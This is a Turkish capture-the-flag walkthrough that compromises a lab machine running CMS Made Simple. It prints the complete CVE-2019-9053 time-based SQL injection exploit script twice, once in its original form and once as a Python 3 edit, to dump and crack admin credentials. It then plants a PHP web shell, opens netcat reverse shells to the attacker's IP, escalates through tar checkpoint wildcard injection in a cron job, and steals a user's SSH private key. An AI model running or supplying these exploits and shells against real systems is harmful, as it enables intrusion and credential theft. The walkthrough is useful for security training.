1. Kendi Ağ Bilgilerinin Tespiti
güvenlik analizi yapılmadan önce, ağ konfigürasyonunun belirlenmesi gerekmektedir. Bunun için ifconfig
komutu kullanılarak IP bilgileri elde edilmiştir:
IP Adresim: 192.168.238.129
Alt Ağ Maskesi (Netmask): 255.255.255.0
Varsayılan Ağ Geçidi (Güvenlik Duvarı): 192.168.238.1

2. Hedef Bilgisayarın Tespiti
Ağ üzerindeki cihazları belirlemek için netdiscover
aracı kullanılmıştır. Aşağıdaki komut, belirlenen ağ bloğunda IP adreslerini tespit etmek için çalıştırılmıştır:
sudo netdiscover -i eth0 -r 192.168.238.0/24

Bu tarama sonucunda, hedef bilgisayarın IP adresi 192.168.238.138 olarak belirlenmiştir.
3. Hedef Bilgisayarın Açık Portlarının Analizi
Hedef sistemin hangi servisleri çalıştırdığını tespit etmek için Nmap
kullanılmıştır. Detaylı analiz yapmak için -A parametresi ile tarama gerçekleştirilmiştir:
sudo nmap -A 192.168.238.138

Nmap Tarama Sonuçları:
Hedef Bilgileri:
IP Adresi: 192.168.238.138
İşletim Sistemi: Linux (4.X/5.X çekirdek sürümü)
MAC Adresi: 00:0c:29:d5:f7:B6 (VMware sanal makinesi)
Hostname: Home - education
Ağ Mesafesi: 1 hop (muhtemelen yerel ağda)
Açık Portlar ve Servisler:
Port Protokol Servis Olası Riskler
22/tcp SSH OpenSSH 8.4p1 (Debian) Eski sürümlerde bilinen güvenlik açıkları olabilir. Brute-force saldırılarına karşı zayıf şifreler risk oluşturabilir.
80/tcp HTTP Apache 2.4.54 (Debian) Apache 2.4.54 sürümünde bilinen güvenlik açıkları olabilir. Site CMS Made Simple kullanıyor, olası açıklıklar değerlendirilmelidir.
4. Web Uygulaması Analizi
Manuel İnceleme
80 numaralı HTTP portunun açık olduğu belirlendikten sonra, hem manuel olarak web uygulaması incelenmiş hem de dirb aracı ile dizin taraması gerçekleştirilmiştir.
dirb http://192.168.238.138

Bu tarama sonucunda yönetim paneli ve diğer kritik sayfalar tespit edilmiştir.

Exploit Araştırması
Hedef sistemde çalışan CMS Made Simple platformunun sürüm bilgisi öğrenildikten sonra, olası zafiyetler araştırılmıştır. Google ve çeşitli siber güvenlik veri tabanları (Exploit-DB, CVE veritabanları vb.) kullanılarak zafiyet analizi yapılmıştır.
Tespit edilen bir güvenlik açığı:
5. Güvenlik Açığının Test Edilmesi
Tespit edilen SQL Injection güvenlik açığını test etmek için Python ile yazılmış aşağıdaki exploit kodu kullanılmıştır:
kod
#!/usr/bin/env python
# Exploit Title: Unauthenticated SQL Injection on CMS Made Simple <= 2.2.9
# Date: 30-03-2019
# Exploit Author: Daniele Scanu @ Certimeter Group
# Vendor Homepage: https://www.cmsmadesimple.org/
# Software Link: https://www.cmsmadesimple.org/downloads/cmsms/
# Version: <= 2.2.9
# Tested on: Ubuntu 18.04 LTS
# CVE : CVE-2019-9053
import requests
from termcolor import colored
import time
from termcolor import cprint
import optparse
import hashlib
parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://10.10.10.100/cms)")
parser.add_option('-w', '--wordlist', action="store", dest="wordlist", help="Wordlist for crack admin password")
parser.add_option('-c', '--crack', action="store_true", dest="cracking", help="Crack password with wordlist", default=False)
options, args = parser.parse_args()
if not options.url:
print "[+] Specify an url target"
print "[+] Example usage (no cracking password): exploit.py -u http://target-uri"
print "[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist"
print "[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based."
exit()
url_vuln = options.url + '/moduleinterface.php?mact=News,m1_,default,0'
session = requests.Session()
dictionary = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@._-$'
flag = True
password = ""
temp_password = ""
TIME = 1
db_name = ""
output = ""
email = ""
salt = ''
wordlist = ""
if options.wordlist:
wordlist += options.wordlist
def crack_password():
global password
global output
global wordlist
global salt
dict = open(wordlist)
for line in dict.readlines():
line = line.replace("\n", "")
beautify_print_try(line)
if hashlib.md5(str(salt) + line).hexdigest() == password:
output += "\n[+] Password cracked: " + line
break
dict.close()
def beautify_print_try(value):
global output
print "\033c"
cprint(output,'green', attrs=['bold'])
cprint('[*] Try: ' + value, 'red', attrs=['bold'])
def beautify_print():
global output
print "\033c"
cprint(output,'green', attrs=['bold'])
def dump_salt():
global flag
global salt
global output
ord_salt = ""
ord_salt_temp = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_salt = salt + dictionary[i]
ord_salt_temp = ord_salt + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_salt)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_siteprefs+where+sitepref_value+like+0x" + ord_salt_temp + "25+and+sitepref_name+like+0x736974656d61736b)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
salt = temp_salt
ord_salt = ord_salt_temp
flag = True
output += '\n[+] Salt for password found: ' + salt
def dump_password():
global flag
global password
global output
ord_password = ""
ord_password_temp = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_password = password + dictionary[i]
ord_password_temp = ord_password + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_password)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users"
payload += "+where+password+like+0x" + ord_password_temp + "25+and+user_id+like+0x31)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
password = temp_password
ord_password = ord_password_temp
flag = True
output += '\n[+] Password found: ' + password
def dump_username():
global flag
global db_name
global output
ord_db_name = ""
ord_db_name_temp = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_db_name = db_name + dictionary[i]
ord_db_name_temp = ord_db_name + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_db_name)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+username+like+0x" + ord_db_name_temp + "25+and+user_id+like+0x31)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
db_name = temp_db_name
ord_db_name = ord_db_name_temp
output += '\n[+] Username found: ' + db_name
flag = True
def dump_email():
global flag
global email
global output
ord_email = ""
ord_email_temp = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_email = email + dictionary[i]
ord_email_temp = ord_email + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_email)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+email+like+0x" + ord_email_temp + "25+and+user_id+like+0x31)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
email = temp_email
ord_email = ord_email_temp
output += '\n[+] Email found: ' + email
flag = True
dump_salt()
dump_username()
dump_email()
dump_password()
if options.cracking:
print colored("[*] Now try to crack password")
crack_password()
beautify_print()
Öncelikle, Kali'deki dosyalarımın düzenli durması için "education" adlı bir klasör oluşturdum.
rockyou.txt dosyasını bu klasörün içine kopyaladım. Siz de belirtilen kaynaktan alıp buraya aktarabilirsiniz.
Ayrıca, kaynakta belirtilen Python kodunu kod.py olarak aynı klasöre kaydettim.

Terminali açıp cd komutuyla bu klasöre geçin.
Burada aşağıdaki komutu çalıştırdığımda bir hata aldım:
python3 kod.py -u http://192.168.238.138 --crack -w rockyou.txt

Hata, print ifadesinden kaynaklanan basit bir sorundu ve bunu ChatGPT ile hızlı bir şekilde çözdük.
Aşağıda güncellenmiş kod bulunmaktadır.
#!/usr/bin/env python
# Exploit Title: Unauthenticated SQL Injection on CMS Made Simple <= 2.2.9
# Original-Date: 30-03-2019
# Edited-Date: 27-5-2023
# Exploit Author: Daniele Scanu @ Certimeter Group
# Edited by: Mohammed M., Mr. Misconception
# Vendor Homepage: https://www.cmsmadesimple.org/
# Software Link: https://www.cmsmadesimple.org/downloads/cmsms/
# Version: <= 2.2.9
# Tested on: Ubuntu 18.04 LTS
# CVE : CVE-2019-9053
import requests
from termcolor import colored
import time
from termcolor import cprint
import argparse
import hashlib
from tqdm import tqdm
parser = argparse.ArgumentParser()
parser.add_argument('-u', '--url', type=str, help="Base target uri (ex. http://10.10.10.100/cms)")
parser.add_argument('-w', '--wordlist', type=str, help="Wordlist for crack admin password")
parser.add_argument('-c', '--crack', action="store_true", help="Crack password with wordlist", default=False)
parser.add_argument('-t', '--time', type=int, help="Time for SQLIi time based attack, default = 1 (second). The slower your internet is the larger this number should be.", default=1)
parser.add_argument("-s", "--salt", type=str, help="Salt for the password cracking")
parser.add_argument("-p", "--password", type=str, help="Password hash to crack")
options = parser.parse_args()
if not options.url and (not options.password or not options.salt):
print("[+] Specify an url target")
print("[+] Example usage (no cracking password): exploit.py -u http://target-uri")
print("[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist")
print("[+] Example usage (with 5 second wait selected): exploit.py -u http://target-uri -t 5")
exit()
if options.url:
url_vuln = options.url + '/moduleinterface.php?mact=News,m1_,default,0'
session = requests.Session()
dictionary = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@._-$'
flag = True
password = options.password if options.password else ""
temp_password = ""
TIME = options.time
db_name = ""
output = ""
email = ""
salt = options.salt if options.salt else ""
wordlist = ""
if options.wordlist:
wordlist += options.wordlist
def crack_password():
global password
global output
global wordlist
global salt
encodings = ["utf-8", "latin-1", "ascii"]
def process_lines(wordlist_lines, progress):
global output
for line in wordlist_lines:
line = line.strip()
encoded_line = (str(salt) + line).encode("utf-8")
if hashlib.md5(encoded_line).hexdigest() == password:
output += "\n[+] Password cracked: " + line
progress.close()
return True
progress.update(1)
return False
for encoding in encodings:
try:
with open(wordlist, "r", encoding=encoding) as dict_file:
lines = dict_file.readlines()
total_lines = len(lines)
with tqdm(total=total_lines, desc="Progress", unit="lines") as progress_bar:
if process_lines(lines, progress_bar):
return
except UnicodeDecodeError:
continue
except Exception as e:
print(f"Error: {e}")
continue
def beautify_print_try(value):
global output
print("\033c")
cprint(output, 'green', attrs=['bold'])
cprint('[*] Try: ' + value, 'red', attrs=['bold'])
def beautify_print():
global output
print("\033c")
cprint(output, 'green', attrs=['bold'])
def dump_salt():
global flag
global salt
global output
ord_salt = ""
ord_salt_temp = ""
temp_salt = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_salt = salt + dictionary[i]
ord_salt_temp = ord_salt + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_salt)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_siteprefs+where+sitepref_value+like+0x" + ord_salt_temp + "25+and+sitepref_name+like+0x736974656d61736b)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
salt = temp_salt
ord_salt = ord_salt_temp
flag = True
output += '\n[+] Salt for password found: ' + salt
def dump_password():
global flag
global password
global output
ord_password = ""
ord_password_temp = ""
temp_pass = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_pass = password + dictionary[i]
ord_password_temp = ord_password + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_pass)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users"
payload += "+where+password+like+0x" + ord_password_temp + "25+and+user_id+like+0x31)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
password = temp_pass
ord_password = ord_password_temp
flag = True
output += '\n[+] Password found: ' + password
def dump_username():
global flag
global db_name
global output
ord_db_name = ""
ord_db_name_temp = ""
temp_db_name = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_db_name = db_name + dictionary[i]
ord_db_name_temp = ord_db_name + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_db_name)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+username+like+0x" + ord_db_name_temp + "25+and+user_id+like+0x31)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
db_name = temp_db_name
ord_db_name = ord_db_name_temp
output += '\n[+] Username found: ' + db_name
flag = True
def dump_email():
global flag
global email
global output
ord_email = ""
ord_email_temp = ""
temp_email = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_email = email + dictionary[i]
ord_email_temp = ord_email + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_email)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+email+like+0x" + ord_email_temp + "25+and+user_id+like+0x31)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
email = temp_email
ord_email = ord_email_temp
output += '\n[+] Email found: ' + email
flag = True
if not options.password or not options.salt:
dump_salt()
dump_username()
dump_email()
dump_password()
if options.crack:
print(colored("[*] Now trying to crack password"))
crack_password()
beautify_print()
6. Adım Sızma ve Uzaktan Komut Çalıştırma Adımları
kodun çalıştırılmasının ardından, hedef sistem üzerindeki aşağıdaki bilgilere erişeceğiz.

http://192.168.238.138/admin/login.php
adresine gidilerek elde edilen yönetici kullanıcı bilgileri ile giriş yapılır.

Yönetici paneli incelenir. Yapılan inceleme sonucunda dosya yöneticisi (file manager) aracılığıyla sisteme dosya yüklenebildiği ve hedef Linux sisteminde www-data kullanıcısının çalıştığı tespit edilir.
aşağıdaki linkden
http://192.168.238.138/admin/moduleinterface.php?mact=FileManager,m1_,defaultadmin,0&__c=871c7ff7f21571bccbf
bağlantısı üzerinden dosya yöneticisine erişilir.
Dosya yöneticisi aracılığıyla içeriği <?php system($_GET['cmd']); ?> olan bir dosya cmd.phtml adıyla kaydedilerek sunucuya yüklenir.
Yüklenen cmd.phtml dosyasına tarayıcı üzerinden erişilir (http://192.168.238.138/uploads/Cmd.phtml?
).
URL parametresi kullanılarak sistem komutları çalıştırılabilir. Örnek: http://192.168.238.138/uploads/Cmd.phtml?cmd=id
. Bu aşamadan sonra ters shell (reverse shell) yöntemiyle hedef sistemdeki komut satırı kendi terminalinize yönlendirilebilir (ilgili görsel mevcuttur).

Alternatif Yöntem: http://192.168.238.138/admin/editusertag.php?__c=871c7ff7f21571bccbf&userplugin_id=1 URL'i üzerinden doğrudan shell komutları çalıştırılabilir. Bu URL kullanılarak doğrudan ters shell komutunuz Kali Linux terminalinize yönlendirilebilir.

Kali Linux Üzerinde Dinleme Başlatma: Kendi Kali Linux sisteminizde aşağıdaki komut çalıştırılarak bir dinleyici başlatılır:
sudo nc -nvlp 1453
Ters Shell Bağlantısını Tetikleme: Hedef sistem üzerinde komut çalıştırma imkanı sağlayan URL'e (örneğin cmd.phtml üzerinden) aşağıdaki gibi bir komut eklenerek ters shell bağlantısı başlatılır. Burada 192.168.238.129 sizin Kali Linux sisteminizin IP adresi ve 1453 dinleme başlattığınız port numarasıdır
http://192.168.238.138/uploads/Cmd.phtml?cmd=n -e /bin/bash 192.168.238.129 1453

Enter tuşuna basıldığında, eğer her şey doğru yapılandırıldıysa, Kali Linux terminalinizde hedef sisteme ait bir kabuk (shell) oturumu açılmış olacaktır.

Aşağıdaki kodlar ile terminal alanı düzeltelim
# Python ile interaktif bash shell başlatma
python3 -c "import pty; pty.spawn('/bin/bash')"
# Bash interaktif shell
/bin/bash -i
# Terminal ayarlarını düzeltme
export TERM=xterm
stty raw -echo && fg
7. Aşama Yetki Yükseltme
www-data kullanıcısı ile yapılan incelemelerde herhangi bir flag dosyasına rastlanmamıştır. Bu nedenle, kullanıcının erişebildiği dosya ve dizinler detaylı bir şekilde taranarak ek bilgi edinmeye çalışılmıştır.
Yapılan incelemeler sonucunda sistemde "John" adında bir kullanıcının varlığı tespit edilmiştir. Derinlemesine analizler neticesinde, John kullanıcısının "cat /etc/crontab
" komutunu çalıştıran iki farklı zamanlanmış göreve (cron job) sahip olduğu belirlenmiştir

Bu görevlerin içeriği ve yetkileri incelendiğinde, yetki yükseltme potansiyeli taşıdığı değerlendirilmiştir.
İlgili cron job incelendiğinde, her iki dakikada bir "cat /usr/local/bin/backup.sh" komutunun çalıştırıldığı görülmüştür.

Bu .sh dosyasının içeriği incelenerek hangi dizinin yedeğini aldığı tespit edilmiş ve bu dizine özel bir .sh dosyası yazılması planlanmıştır.
www-data kullanıcısı bağlamında aşağıdaki komutlar sırasıyla çalıştırılmıştır:
cd /var/www/html/education
echo "" > '--checkpoint-action=exec=sh script.sh'
echo "nc 192.168.238.129 1081 -e /bin/bash">'script.sh'
chmod +x script.sh
ls -la komutu çalıştırılarak oluşturulan dosyaların yetkileri kontrol edilmiştir.

İkinci bir terminalde aşağıdaki komut ile dinleme başlatılmıştır:
daha sonra 2. bir terminale dinleme başlatalım
nc -nvlp 1081
Yaklaşık iki dakika sonra, zamanlanmış görev (cron job) tetiklenerek jhon kullanıcısı yetkileriyle komut çalıştırılmış ve tersine kabuk bağlantısı sağlanmıştır. Terminalin düzeltilmesi gerekebilir.
Mevcut durum aşağıdaki gibi görüntülenebilir

rtık jhon kullanıcısı yetkileriyle işlem yapılabilmektedir. Amaç, kullanıcıya ait flag dosyasını (user.txt) alarak root yetkilerine doğru ilerlemektir.
cd /home/john/Desktop komutu ile ilgili dizine gidilerek user.txt dosyası bulunur ve içeriğindeki başarı bayrağı elde edilir.

flag: 8504475afe9f080cdbadeb55460fb842
İç Servislerin Keşfi ve Analizi: İç ağda çalışan servisleri tespit etmek amacıyla aşağıdaki komut çalıştırılmıştır:
ss -tupln
kodunu çalıştıralım.
Elde edilen çıktı incelendiğinde, dışarıya açık servislere ek olarak, içeride 8080 (Web Service) ve 631 (IPP - Internet Printing Protocol) portlarının dinleme yaptığı belirlenmiştir

Tersine kabuk bağlantısı üzerinden ilerlemenin zorlaşması üzerine, john kullanıcısına ait id_rsa dosyasının bulunması ve doğrudan SSH bağlantısı kurularak 8080 portunun yerel sisteme yönlendirilmesi (tünelleme) hedeflenmiştir.
cat /home/john/.ssh/id_rsa
komutu ile id_rsa dosyasının içeriği (SHA değeri değil, özel anahtarın kendisi) kopyalanarak Kali Linux sistemindeki education klasörüne john adıyla yapıştırılmıştır.


SSH bağlantısı için gerekli hazırlıklar yapıldıktan sonra, mevcut terminalden ctrl+c ile çıkılmıştır.
Aşağıdaki komutlar sırasıyla çalıştırılmıştır:
cd /home/kali/Masaüstü/Education
chmod 600 john
ssh -i john john@192.168.238.138
Başarılı bir şekilde giriş yapılabildiği görülmüş ve ardından exit komutu ile bağlantı sonlandırılmıştır.

Tünelleme işlemi için aşağıdaki komut çalıştırılmıştır:
ssh -i john john@192.168.238.138 -L 8080:localhost:8080

Bu tünelleme işlemi sonrasında, Kali Linux sisteminde http://127.0.0.1:8080/#/ adresi üzerinden hedef sistemdeki web servisine erişim sağlanabilmektedir.
web servisinin şifresini kaba kuvvet saldırısı ile kırmak yerine, john kullanıcısının bash_history dosyası incelenmiştir. Bu inceleme sonucunda, root kullanıcısına ait bir şifre klasörünün oluşturulduğu tespit edilmiştir. Bu sayede, tünellemeye gerek kalmadan doğrudan SSH ile erişim sağlanabileceği anlaşılmıştır.
Aşağıdaki adımlar sırasıyla uygulanmıştır:
ssh -i john john@192.168.238.138

ls -la

cat .bash_history

cd /var/www/html/8080/filegator/repository/Root
python3 -m http.server 6789
Artık tarayıcan "http://192.168.238.138:6789/" url adresine giderek veya aşağıdaki kod ile zip dosyasını indirebiliriz.
wget http://192.168.238.138:6789/root.txt.zip
İndirilen root.txt.zip dosyası education klasörüne kaydedilmiştir

fcrackzip -u -D -p rockyou.txt root.txt.zip
komutu ileroot.txt.zip
dosyasının şifresi kırılmış ve içeriği çıkarılmıştır. fcrackzip kurulu değilse sudo apt install fcrackzip komutu ile yüklenebilir.
gpg --decrypt 0xF32A8356-sec.asc.signed.txt
komutu ile şifrelenmiş dosyanın çözümlenmesi işlemi başlatılmıştır.
Root kullanıcısına ait SHA değeri elde edilmiş ve root olarak kaydedilmiştir

İşlem tamamlanmıştır.
